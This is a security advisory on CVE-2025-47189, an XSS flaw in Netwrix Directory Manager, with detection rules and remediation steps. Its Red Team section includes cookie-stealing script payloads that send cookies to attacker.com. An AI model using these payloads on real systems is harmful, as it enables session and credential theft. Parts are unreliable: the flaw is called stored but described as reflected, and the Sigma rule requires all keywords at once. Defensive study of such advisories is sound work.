CVE-2025-47189

Executive Summary

CVE-2025-47189 is a stored Cross-Site Scripting (XSS) vulnerability in Netwrix Directory Manager (formerly Imanami GroupID), affecting versions prior to 11.1.25162.02. The vulnerability allows an attacker to inject arbitrary JavaScript into authentication error messages displayed to users during specific authentication flows. This can lead to session hijacking, credential theft, or redirection to malicious sites. The vulnerability is distinct from CVE-2025-54392. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. However, the lack of a patch for some deployments and the potential for targeted attacks warrant immediate attention.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise identity management product. The risk is primarily to on-premises deployments of Netwrix Directory Manager.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed to trigger the XSS.
• User Interaction (UI): Required – The victim must click a crafted link or view a malicious page.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for credential theft and lateral movement in an enterprise environment elevates the risk. The lack of a public PoC reduces immediate mass exploitation, but targeted attacks are possible.

Deep Dive & Mechanics

The vulnerability resides in how Netwrix Directory Manager handles authentication error messages. When a user fails authentication (e.g., invalid username or password), the application reflects the error data in the response without proper sanitization. An attacker can craft a malicious URL containing JavaScript payloads in the error parameters. If a victim clicks this link, the script executes in the context of the application's domain.

Root Cause: Insufficient output encoding of user-supplied input in authentication error templates. The application likely uses a templating engine that does not automatically escape HTML entities for error messages.

Attack Flow:

1. Attacker crafts a URL: https://target.com/GroupID/Login.aspx?err=<script>alert('XSS')</script>
2. Victim clicks the link or is redirected to it.
3. The application processes the err parameter and displays it in an error message without sanitization.
4. The injected script executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs user input without encoding
string errorMessage = Request.QueryString["err"];
Response.Write("<div class='error'>" + errorMessage + "</div>");

Patched Code (Conceptual):

// Patched: HTML-encode the user input before output
string errorMessage = Request.QueryString["err"];
string encodedMessage = HttpUtility.HtmlEncode(errorMessage);
Response.Write("<div class='error'>" + encodedMessage + "</div>");

The patch ensures that any HTML or JavaScript in the err parameter is rendered as text, not executed.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of Netwrix Directory Manager (version < 11.1.25162.02).
• A web browser with developer tools.

Exploitation Steps:

1. Identify the vulnerable parameter (likely err, error, or msg) in the login page URL.
2. Craft a payload to steal cookies:

   https://target.com/GroupID/Login.aspx?err=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send the link to a victim via phishing email or social engineering.
4. Set up a listener on attacker.com to capture the cookies.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Use WAF rules to block XSS patterns in authentication endpoints.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/GroupID/Login.aspx" AND uri_query=*err=*
| regex uri_query="(?i)(<script|onerror|onload|javascript:)"
| table _time, clientip, uri_query, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • Requests to /GroupID/Login.aspx with query parameters containing <script>, onerror, onload, or javascript:.
  • Outbound connections to unknown domains from the application server.
• File IOCs:
  • Modified web.config or application configuration files.
  • Suspicious entries in IIS logs.
• Behavioral IOCs:
  • Unexpected authentication failures from a single IP.
  • Multiple requests with varying err parameter values.

Detection Engineering

YARA Rule

rule CVE_2025_47189_XSS_Netwrix {
    meta:
        description = "Detects XSS attempts targeting Netwrix Directory Manager CVE-2025-47189"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-47189"
    strings:
        $xss_pattern1 = /err=.*<script/i
        $xss_pattern2 = /err=.*onerror/i
        $xss_pattern3 = /err=.*onload/i
        $xss_pattern4 = /err=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt Against Netwrix Directory Manager
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects XSS payloads in authentication error parameters for CVE-2025-47189
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains|all:
            - 'err='
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate error messages containing these strings (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-47189 XSS Attempt in Netwrix Directory Manager";
    flow:to_server,established;
    content:"/GroupID/Login.aspx"; http_uri;
    content:"err="; http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Netwrix Directory Manager to version 11.1.25162.02 or later.
2. WAF Rules: Deploy virtual patching via Web Application Firewall (WAF) to block XSS patterns in authentication endpoints.
3. Input Validation: Implement server-side validation and output encoding for all user-supplied input.

Long-Term Measures:

• Conduct a security audit of all authentication flows.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enable HTTP-only and Secure flags on session cookies.
• Train users to recognize phishing attempts.

Workaround (if patching is delayed):

• Disable detailed error messages in the application configuration.
• Use URL rewriting to strip malicious parameters.

Valters IT
Securing Digital Frontiers